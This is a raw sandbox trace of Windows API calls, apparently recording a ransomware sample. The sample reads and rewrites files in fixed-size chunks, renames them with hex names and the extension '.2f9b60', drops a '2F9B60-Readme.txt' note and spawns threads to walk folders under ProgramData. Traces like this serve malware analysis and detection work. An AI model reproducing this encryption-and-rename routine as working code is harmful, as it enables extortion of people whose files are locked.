RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x41e028f0 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x7396f677 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x313e4d17 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x69b2eae9 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0xb4bc2 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x1e4ea5fa [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x648911a4 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0xd45a1d8 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x5489bcbc [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x5af62af1 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x2fc1e4c8 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x4fbbcfb9 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x73e5b1c9 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x47ed9260 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x6dbc34c [0166.479] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x221e49e4 [0166.479] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x9812167 [0166.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4480 [0166.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e80 [0166.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4540) returned 1 [0166.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0166.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a88200 [0166.490] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.490] ReadFile (in: hFile=0x2a34, lpBuffer=0x42a88200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2155fae0, lpOverlapped=0x0 | out: lpBuffer=0x42a88200*, lpNumberOfBytesRead=0x2155fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.514] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f50 [0166.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0166.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0166.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42abcae0 [0166.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0166.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0166.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e50) returned 1 [0166.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f50) returned 1 [0166.516] WriteFile (in: hFile=0x2a34, lpBuffer=0x42abcae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2155fae0, lpOverlapped=0x0 | out: lpBuffer=0x42abcae0*, lpNumberOfBytesWritten=0x2155fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42abcae0) returned 1 [0197.772] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.772] ReadFile (in: hFile=0x2a34, lpBuffer=0x42a88200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2155fae0, lpOverlapped=0x0 | out: lpBuffer=0x42a88200*, lpNumberOfBytesRead=0x2155fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.828] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b680 [0198.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b680) returned 1 [0198.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43024d60 [0198.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b680 [0198.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b6e0 [0198.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b6e0) returned 1 [0198.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.832] WriteFile (in: hFile=0x2a34, lpBuffer=0x43024d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2155fae0, lpOverlapped=0x0 | out: lpBuffer=0x43024d60*, lpNumberOfBytesWritten=0x2155fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43024d60) returned 1 [0213.750] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x34040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.750] ReadFile (in: hFile=0x2a34, lpBuffer=0x42a88200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2155fae0, lpOverlapped=0x0 | out: lpBuffer=0x42a88200*, lpNumberOfBytesRead=0x2155fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.753] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x34040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0213.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0213.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678f0 [0213.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678f0) returned 1 [0213.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43024d60 [0213.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678f0 [0213.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c20 [0213.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c20) returned 1 [0213.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0213.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0213.758] WriteFile (in: hFile=0x2a34, lpBuffer=0x43024d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2155fae0, lpOverlapped=0x0 | out: lpBuffer=0x43024d60*, lpNumberOfBytesWritten=0x2155fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43024d60) returned 1 [0228.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4310eaa0 [0228.541] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.541] WriteFile (in: hFile=0x2a34, lpBuffer=0x134c00*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2155fb90, lpOverlapped=0x0 | out: lpBuffer=0x134c00*, lpNumberOfBytesWritten=0x2155fb90*=0x150, lpOverlapped=0x0) returned 1 [0233.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62410 [0233.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a0c0 [0233.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6440 [0233.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6440) returned 1 [0233.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a6440 [0233.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6410 [0233.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64d0 [0233.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64d0) returned 1 [0233.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 [0233.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62410) returned 1 [0233.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce62410 [0233.096] sprintf (in: _Dest=0x1ce62410, _Format="%c%c" | out: _Dest="eb") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62412, _Format="%c%c" | out: _Dest="4e") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62414, _Format="%c%c" | out: _Dest="07") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62416, _Format="%c%c" | out: _Dest="d6") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62418, _Format="%c%c" | out: _Dest="1d") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6241a, _Format="%c%c" | out: _Dest="83") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6241c, _Format="%c%c" | out: _Dest="0f") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6241e, _Format="%c%c" | out: _Dest="0d") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62420, _Format="%c%c" | out: _Dest="f1") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62422, _Format="%c%c" | out: _Dest="c9") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62424, _Format="%c%c" | out: _Dest="13") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62426, _Format="%c%c" | out: _Dest="91") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62428, _Format="%c%c" | out: _Dest="b4") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6242a, _Format="%c%c" | out: _Dest="90") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6242c, _Format="%c%c" | out: _Dest="62") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6242e, _Format="%c%c" | out: _Dest="a9") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62430, _Format="%c%c" | out: _Dest="0c") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62432, _Format="%c%c" | out: _Dest="f4") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62434, _Format="%c%c" | out: _Dest="c9") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62436, _Format="%c%c" | out: _Dest="f5") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62438, _Format="%c%c" | out: _Dest="19") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6243a, _Format="%c%c" | out: _Dest="bd") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6243c, _Format="%c%c" | out: _Dest="4f") returned 2 [0233.096] sprintf (in: _Dest=0x1ce6243e, _Format="%c%c" | out: _Dest="1b") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62440, _Format="%c%c" | out: _Dest="f6") returned 2 [0233.096] sprintf (in: _Dest=0x1ce62442, _Format="%c%c" | out: _Dest="cc") returned 2 [0233.097] sprintf (in: _Dest=0x1ce62444, _Format="%c%c" | out: _Dest="4e") returned 2 [0233.097] sprintf (in: _Dest=0x1ce62446, _Format="%c%c" | out: _Dest="24") returned 2 [0233.097] sprintf (in: _Dest=0x1ce62448, _Format="%c%c" | out: _Dest="2a") returned 2 [0233.097] sprintf (in: _Dest=0x1ce6244a, _Format="%c%c" | out: _Dest="f6") returned 2 [0233.097] RtlInitAnsiString (in: DestinationString=0x2155fc08, SourceString="eb4e07d61d830f0df1c91391b49062a90cf4c9f519bd4f1bf6cc4e242af6" | out: DestinationString="eb4e07d61d830f0df1c91391b49062a90cf4c9f519bd4f1bf6cc4e242af6") [0233.097] RtlAnsiStringToUnicodeString (in: DestinationString=0x2155fbd8, SourceString="eb4e07d61d830f0df1c91391b49062a90cf4c9f519bd4f1bf6cc4e242af6", AllocateDestinationString=1 | out: DestinationString="eb4e07d61d830f0df1c91391b49062a90cf4c9f519bd4f1bf6cc4e242af6") returned 0x0 [0233.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a2220 [0233.098] wcscat (in: _Dest=0x43113830, _Source="eb4e07d61d830f0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\eb4e07d61d830f0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\eb4e07d61d830f0" [0233.098] wcscat (in: _Dest=0x43113830, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\eb4e07d61d830f0.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\eb4e07d61d830f0.2f9b60" [0233.098] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\eb4e07d61d830f0.2f9b60", NtPathName=0x2155fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\eb4e07d61d830f0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0233.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x423aa470 [0235.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa470) returned 1 [0235.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43224e80) returned 1 [0235.369] NtQueryInformationFile (in: FileHandle=0x2a34, IoStatusBlock=0x2155fc18, FileInformation=0x2155fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2155fc18, FileInformation=0x2155fc28) returned 0x0 [0235.369] NtSetInformationFile (FileHandle=0x2a34, IoStatusBlock=0x2155fc18, FileInformation=0x2155fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43113830) returned 1 [0236.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2220) returned 1 [0236.749] FlushFileBuffers (hFile=0x2a34) returned 1 [0238.189] CloseHandle (hObject=0x2a34) returned 1 [0240.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310db70 [0240.512] wcscpy (in: _Dest=0x4310db70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\" [0240.512] wcscat (in: _Dest=0x4310db70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\2F9B60-Readme.txt" [0240.512] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\2f9b60-readme.txt")) returned 0xffffffff [0240.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a0 [0244.021] WriteFile (hFile=0x7a0, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2155fad0, lpOverlapped=0x0) Thread: id = 2716 os_tid = 0x22dc [0157.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64dc0 [0157.794] wcscpy (in: _Dest=0x1cd64dc0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0157.794] wcscat (in: _Dest=0x1cd64dc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0157.794] wcscat (in: _Dest=0x1cd64dc0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" [0157.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20503160 [0157.794] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd869d0 [0157.794] wcscmp (_String1=".", _String2=".") returned 0 [0157.794] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.795] wcscmp (_String1="..", _String2=".") returned 1 [0157.795] wcscmp (_String1="..", _String2="..") returned 0 [0157.795] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0157.795] wcscmp (_String1="en-US", _String2=".") returned 1 [0157.795] wcscmp (_String1="en-US", _String2="..") returned 1 [0157.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106880 [0157.795] wcscpy (in: _Dest=0x106880, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0157.795] wcscat (in: _Dest=0x106880, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0157.795] wcscat (in: _Dest=0x106880, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0158.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168c [0158.663] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0158.663] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0158.663] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0158.663] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0158.663] wcscmp (_String1="netfol.ico", _String2=".") returned 1 [0158.663] wcscmp (_String1="netfol.ico", _String2="..") returned 1 [0158.663] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0158.663] wcscmp (_String1="pictures.ico", _String2=".") returned 1 [0158.663] wcscmp (_String1="pictures.ico", _String2="..") returned 1 [0158.663] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0158.663] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0158.663] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0158.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x119310 [0158.663] wcscpy (in: _Dest=0x119310, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0158.663] wcscat (in: _Dest=0x119310, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0158.663] wcscat (in: _Dest=0x119310, _Source="resource.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" [0158.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x119310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0158.664] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0158.664] wcscmp (_String1="ringtones.ico", _String2=".") returned 1 [0158.664] wcscmp (_String1="ringtones.ico", _String2="..") returned 1 [0158.664] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, 